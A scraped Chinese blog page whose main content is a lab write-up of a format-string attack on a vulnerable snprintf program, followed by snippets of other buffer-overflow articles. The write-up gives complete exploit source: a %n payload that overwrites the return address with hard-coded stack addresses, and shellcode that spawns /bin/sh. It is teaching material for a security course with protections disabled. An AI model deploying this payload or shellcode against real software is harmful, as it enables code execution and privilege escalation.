精华内容
下载资源
问答
  • 构造缓冲区溢出攻击字符串

    千次阅读 2008-04-25 20:05:00
    题目: 对如下程序实施缓冲区溢出攻击,要求printf("getbuf returned 0x%x/n", val); 打印出 0xdeadbeef /* Bomb program that is solved using a buffer overflow attack */#include stdio.h>#include stdlib....
    展开全文
  • 主要是利用格式化字符串漏洞来达到溢出目的,并且借用snprintf的特性,即在遇到格式化参数之前会先将正常的字符复制到指定区域中,最终通过字节大小的计算,利用%n向指定地址写入特定的返回地址

    最近在做缓冲区溢出实验,总共有6个

    shellcode.h

    shellcode的作用是运行一个/bin/sh

    /*
     * Aleph One shellcode.45个字节
     */
    static const char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    

    源代码vul5.c

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    int foo(char *arg)//明显是通过snprintf函数达到溢出目的,可能是格式化字符串导致的
    {
      char buf[400];
      snprintf(buf, sizeof buf, arg);
      return 0;
    }
    
    int main(int argc, char *argv[])
    {
      if (argc != 2)
        {
          fprintf(stderr, "target5: argc != 2\n");
          exit(EXIT_FAILURE);
        }
      setuid(0);
      foo(argv[1]);
      return 0;
    }
    

    攻击代码

    #include <stdio.h>
    #include <stdint.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include "shellcode.h"
    
    #define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul5"
    
    int main(void)
    {
      char payload[400];
      char *format;
      memset(payload,'\x90',400);
      payload[399] = '\x00';
      format = "\xff\xff\xff\xff\xf0\xfa\xff\xbf"
            "\xff\xff\xff\xff\xf1\xfa\xff\xbf"
            "\xff\xff\xff\xff\xf2\xfa\xff\xbf"
            "\xff\xff\xff\xff\xf3\xfa\xff\xbf"
            "%16u%n%207u%n%256u%n%192u%n";
      memcpy(payload, format, strlen(format));
      memcpy(payload + sizeof(payload) - 45 - 4, shellcode, 45);//嵌入shellcode
      char *args[] = { TARGET, payload , NULL};//定义运行参数
      char *env[] = { NULL };
    
      execve(TARGET, args, env);
      fprintf(stderr, "execve failed.\n");
    
      return 0;
    }
    

    简单原理说明

    缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
    造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。

    环境声明

    LINUX 32位系统
    本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行:

    1. 关闭地址随机化功能:
      echo 0 > /proc/sys/kernel/randomize_va_space2.
    2. gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。
      gcc -z execstack -o test test.c
    3. 在编译时可以控制是否开启栈保护以及程度,
      gcc -fno-stack-protector -o test test.c //禁用栈保护
      gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码
      gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

    实验过程

    本实验的代码相当简洁,在foo()函数中,申请了一个400字节大小的buf字符串组,并执行了snprintf()函数,该函数的作用为将第三个参数生成的格式化字符串拷贝到第一个参数中,拷贝的大小由第二个参数进行设置。并且其会根据格式化字符串的形式进行替换:在遇到格式化字符串参数之前,它会先将字符拷贝,当遇到格式化字符参数时,该函数会对指定的格式化字符进行替换。
    在这里插入图片描述
    那么,显然,本次实验漏洞估计就是出在格式化字符串的问题上。
    常用的格式化字符串参数如下所示:
    基本的格式化字符串参数

    1. %c:输出字符。
    2. %u:无符号10进制整数
    3. %d:输出十进制整数。
    4. %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
    5. %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
    6. %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
    7. %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%]$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

    而这些参数中,能够改变地址中值的参数只有%n
    关键:%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。简单而言,通过%n是可以往内存里写东西的,可通过一系列构造来修改指定的返回地址。
    故而基本思路为:通过特定的格式化字符串,并利用snprintf在分析格式化字符串的规则(遇到格式化参数之前会先将普通字符拷贝给目标),从而构造出返回地址所在的栈的位置,并利用%n修改返回地址。

    • 确定溢出目标:
      本次溢出的目标就是通过构造格式化字符串参数,来覆盖snprintf函数的返回地址,使其跳转到构造的payload去执行。
    • 构造payload:
      A. 首先,查看foo()中的ebp与buf所在的位置:
      在这里插入图片描述
      由此可知,ebp地址为0xbffffc90,buf的基址为0xbffffb00,范围为0xbffffb00-0xbffffc90(大小为400个字节)
      B. 第二步,先查看下snprintf的ebp的位置:
      在这里插入图片描述
      可以看到其位置为0xbffffc90,也就是说,snprintf函数并没有改变ebp的位置,而其esp的位置为0xbffffaf0,查看其汇编代码可知,它压入了ebx的值:
      在这里插入图片描述
      从中可知,snprintf函数从右到左,即将arg、sizeof buf以及buf指针分别放入(esp+8),(esp+4)与(esp)对应的地址中。
      且由下图可知,当前esp(0xbffffaf0)中存放着snprintf函数的返回地址,而esp+4(0xbffffaf4)存放着buf的首地址:
      在这里插入图片描述
      故而我们只需修改0xbffffaf0中的返回地址,使其指向我们的payload即可。
      snprintf后续的函数执行后的栈的大致情况为:
      在这里插入图片描述
      C. 接下来,snprintf会在遇到格式化参数之前,将正常的字符串拷贝到buf之中,故而我们可以在payload中构造指定的地址0xbffffaf0,从而使得%n能够修改该地址的内容。而由于buf位于0xbffffb00,即位于格式化的参数列表处,所以每次使用格式化参数时都会在buf中去取参数
      D. %n写入的数据是已经输出的字符数目,所以我们需要精心构造数目来合理覆盖返回地址。
      同时,由于我们利用%u作为格式化参数时,会不断覆盖buf地址中的内容(snprintf会根据格式化符将内容拷贝到指定地址),所以不能将返回地址构造成buf所在的地址
      所以我们只能使其为输入参数arg的地址(0xbffffe40,该地址与buf所在地址相差数千个字节,所以格式化字符串不会覆盖到该地址):
      在这里插入图片描述
      故而我们的目标即使得我们构造数目能够形成0xbffffe40这样的数据,同时为了跳过我们前面构造的一些数据,最终目标为0xbffffe80
      由于每次长度不宜过长,所以我们选择每次只改写一个字节的数据:
      首先,我们需要在0xbffffaf0写入0x80,即第一次改变需要%n之前有128个字符,而第二次改变需要构造0xfe的数据,即第二次改变需要%n之前有254个字符,第三次改变需要%n之前有255个字符(256的整数倍+255,即使低8位为0xff即可),而第四次改变则需要%n之前有0xbf(191)个字符(191+256的整数倍,即使低8位为0xbf即可).
      E. 则最终的payload格式化字符串部分构造如下:
      在这里插入图片描述
      其中前32个字节的组成结构为:
      每8个字节一组,每组的前4个字节为全ff,这是因为我们利用%u进行了一次输出,故而栈指针会后移,而后4个字节即存放着我们要修改的目标地址。
      而后面:
      %96u 是为了对齐96字节输出对应的参数,这样就使得第一次使用%n时前面有了128个字符,从而写入数据0x80,此时返回地址的数据为 0x08048480(原返回地址为0x80484f3)
      %126u是为了对齐126字节输出相应的参数,这样128+126=254,使得第二次使用%n时前面有了254个字符,最终写入数据0xfe,此时返回地址中的数据为0x0804fe80
      %257u是为了对齐257字节输出相应的参数,这样128+126+257=254+257=0x1ff,最终写入数据0x1ff,此时返回地址中的数据为0x01fffe80
      注:只能对齐257个字节输出,不能简单对齐1个字节输出,eg: %3d表示不足3位则左侧补空格,而大于3位则全部输出,所以对于数据0xffffffff而言,%1u最终也不会以1个字节输出
      %192u是为了对齐192字节输出相应的参数,这样511+192=703=0x2bf,最终写入数据0x2bf,此时返回地址中的数据为0xbffffe80
      后续整体payload嵌入shellcode即可:
      在这里插入图片描述
    • 编译并运行程序,结果如下:
      在这里插入图片描述

    可见,成功执行了shellcode,溢出执行成功。

    总结

    本实验主要是利用格式化字符串漏洞来达到溢出目的,并且借用snprintf的特性,即在遇到格式化参数之前会先将正常的字符复制到指定区域中,最终通过字节大小的计算,利用%n向指定地址写入特定的返回地址

    展开全文
  • 缓冲区溢出以及缓冲区溢出攻击

    千次阅读 2020-08-31 21:35:06
    缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。溢出的数据覆盖在合法数据上。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但是绝大多数程序都会假设数据长度...

    缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。溢出的数据覆盖在合法数据上。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但是绝大多数程序都会假设数据长度总是与所分配的存储空间相匹配,这就为缓冲区溢出埋下隐患。

    展开全文
  • C++字符串拷贝与缓冲区溢出

    千次阅读 2015-04-11 16:23:11
    对于常用的字符串拷贝函数,常用的有: Ansi版本如下: strcpy, strncpy, strcpy_s, strncpy_s, StringCbCopy Unicode版本为: wcscpy,wcsncpy,wcsncpy_s,wcsncpy_s,StringCbCopyW 其中最后一个为...

    对于常用的字符串拷贝函数,常用的有:

    Ansi版本如下:

    strcpy, strncpy, strcpy_s, strncpy_s, StringCbCopy

    Unicode版本为:

    wcscpy,wcsncpy,wcsncpy_s,wcsncpy_s,StringCbCopyW

    其中最后一个为Windows的API,其余为c运行时函数。

    这些函数完成的功能是一样的,然而本质上却有极大区别。

     

    现在我们来看看这些函数分别如何工作。

    为简化测试,我们只测试Ansi版本的函数。Unicde版本功能与之如出一辙。

    测试代码如下(VS2005,多字节编码):

    [cpp]  view plain copy
    1. char buff1[2] = {'1''/0'};  
    2. char buff2[2] = {'2''/0'};  
    3. strcpy(buff1, "1111111111111111");  
    4. strncpy(buff2, "abcdefghijklmnopqratuvwxyz", 2);  
    5. StringCbCopy(buff2, 2, "abcdefghijklmnopqratuvwxyz");  
    6. strcpy_s(buff2, 2, "abcdefghijklmnopqratuvwxyz");  

     

    buff2的地址为0x22FE0C,内存分布如下图:

    1

    可以看到buff1和buff2之间被填充了0xcc,这是VS为了检测缓冲区运行时整的。

    另外注意栈内存分配上的特点,后分配的buff2的地址在先分配的buff1地址之前。

     

     

    现在执行strcpy,看内存变化:

    2

    strcpy强行把16字节写入了buff1为首的内存。然而系统没有任何反映,似乎一切正常。

    然而,正式这种侥幸的正常,才会导致日后不可避免的缓冲区溢出导致的崩溃---谁知道buff1+2之后的14个字节是什么内容。

     

     

    继续执行,看看strncpy的表现会不会好一点:

    3

    strncpy的第三个参数接收缓冲区大小,如果待拷贝字符串长度超过缓冲区,则截断超出的字符不拷贝。

    这么做似乎很安全。然而致命的问题是这个“截断“太过劣质。

    因为buff2失去了'/0'结束符,buff2字符串是从buff2开始直到之后内存中找到的第一个'/0'

    在这里,由于buff2内存之后是buff1,buff2已经不再是2个字节的字符串了。缓冲区受到了破坏。

    这个例子里,我们看到buff2的内容是形如"ab烫烫烫烫烫烫烫烫1111111111111111"这样的乱码

    诚然,这样的操作也是极不安全的。

     

     

    我们继续执行,看看StringCbCopy表现如何。

    4

    呼呼,我们终于看到一个表现堪称“不错”的字符串拷贝函数了。

    她总算是“优美”的截断了过长的字符串,保证了缓冲区的安全性。

    然而,这样的截断后的字符串是你需要的吗?比如一个路径名字符串被截断了,你还能用他来打开文件吗?

     

     

    strcpy_s的第2个参数接收缓冲区大小。我们看看他执行结果如何:

    5

    饿...出现了assert错误。

    不过这样对程序员来说应该是最好的,你很快能知道是哪里出了问题。

     

    一般而言,凡是函数后面带有_s的字符串系列函数,都是微软整的“安全”字符串函数。

    他会进行传入指针不为NULL、缓冲区足够大等等安全检查。

    因此,我们在整字符串的时候,应该使用这些安全字符串。

     

    最后请注意:上面所有函数都不进行内存重叠检查!请自己进行必要的内存重叠检查。


    原文地址:http://blog.csdn.net/lsldd/article/details/4669888

    展开全文
  • 缓冲区溢出是指用有安全隐患的字符串处理函数,在输入超出规定字符串长度的字符之后,对该数组末尾的内存单元的覆盖。 例如 #include &lt;stdio.h&gt; #include &lt;string.h&gt; int main() { ...
  • C语言:缓冲区字符串的输入与输出

    千次阅读 2019-12-30 22:19:02
    字符串在大多数编程语言中都有着举足轻重的地位,在C语言中,字符串亦是如此. 本篇博客将简单介绍一下缓存区的概念和几个跟字符串输入输出有关的函数. 一、缓冲区 概念 系统为了加快程序运行的速度预留出来的...
  • 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪...
  • OllyDbg测试缓冲区溢出

    2019-08-08 21:36:01
    OllyDbg测试缓冲区溢出 首先要知道什么是缓冲区,缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例。 你一定用strcpy拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符...
  • 最近看逍遥的《网络渗透攻击与安防修炼》讲到CMD命令窗口的dir传超长字符串溢出的例子。自己实验了一下,的确会产生程序崩溃,但是具体什么原理没太详细说,这里做一下原理探究,权当学习笔记了。 1. 实验环境 XP ...
  • 缓冲区溢出 概念 缓冲区是程序运行时机器内存中的一个连续块,它保存了...人为的缓冲区溢出一般是由于攻击者写一个超过缓冲区长度的字符串植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长字符串,这是可能会出
  • 缓冲区溢出漏洞浅析

    千次阅读 2019-10-01 17:41:41
    缓冲区溢出大多数情况下编译器无法给出错误信息,而只有当程序运行期间才会暴露出来,所以缓冲区溢出也归属于运行时缺陷。运行期间发生异常是由于缓冲区溢出数据(包括上界和下界),破坏了缓冲区上下边界外其它变.....
  • 缓冲区溢出

    千次阅读 2018-08-10 17:30:15
    缓冲区溢出 相关安全文章 概览 描述 风险影响 例子 相关攻击 相关漏洞 相关控制 缓冲区溢出 今天又有点时间,花了大概4个小时不到翻译了这个大概3500字的文章,感觉自己阅读速度真的有待提高。虽说边翻译...
  • 缓冲区溢出详解

    2018-11-30 23:28:58
    缓冲区溢出详解,详细介绍了缓冲区溢出的原理以及相关知识。
  • 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去。  定位RET  寻找跳转...
  • C语言入坑指南-缓冲区溢出

    千次阅读 2018-11-08 21:03:02
    缓冲区溢出通常指的是向缓冲区写入了超过缓冲区所能保存的最大数据量的数据。如果说之前所提到的一些问题可能只是影响部分功能的实现,那么缓冲区溢出将可能会造成程序运行终止,被不安全代码攻击等严重问题,因此...
  • 缓冲区溢出攻击

    千次阅读 2016-07-20 12:00:15
    缓冲区溢出(Buffer Overflow)...随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓
  • 本文内容包括:C编程中的主要陷阱避免内部缓冲区溢出其它危险是什么?静态和动态测试工具Java和堆栈保护可以提供帮助结束语参考资料在上一篇专栏文章中,描述了高水平的缓冲区溢出攻击,以及讨论了为什么缓冲区溢出...
  • 浅析缓冲区溢出

    千次阅读 2018-08-14 11:34:35
    最近一直在学习缓冲区溢出漏洞的攻击,但是关于这一块的内容还是需要很多相关知识的基础,例如编程语言及反汇编工具使用。所以研究透彻还需要不少的时间,这里简单的做一个学习的总结,通过具体的实验案例对缓冲区...
  • 多图详解缓冲区溢出问题

    万次阅读 多人点赞 2020-11-18 23:43:21
    缓冲区溢出一个常见的后果是:黑客利用函数调用过程中程序的返回地址,将存放这块地址的指针精准指向计算机中存放攻击代码的位置,造成程序异常中止。为了防止发生严重的后果,计算机会采用栈随机化,利用金丝雀值...
  • 操作系统——缓冲区溢出

    千次阅读 2019-05-12 22:46:18
    一、缓冲区溢出介绍 1988年,世界上第一个缓冲区溢出攻击–Morris蠕虫在互联网上泛滥,短短一夜的时间全世界6000多台网络服务器瘫痪或半瘫痪,不计其数的数据和资料被毁。造成一场损失近亿美元的空前大劫难! 那么,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 47,794
精华内容 19,117
关键字:

缓冲区溢出字符串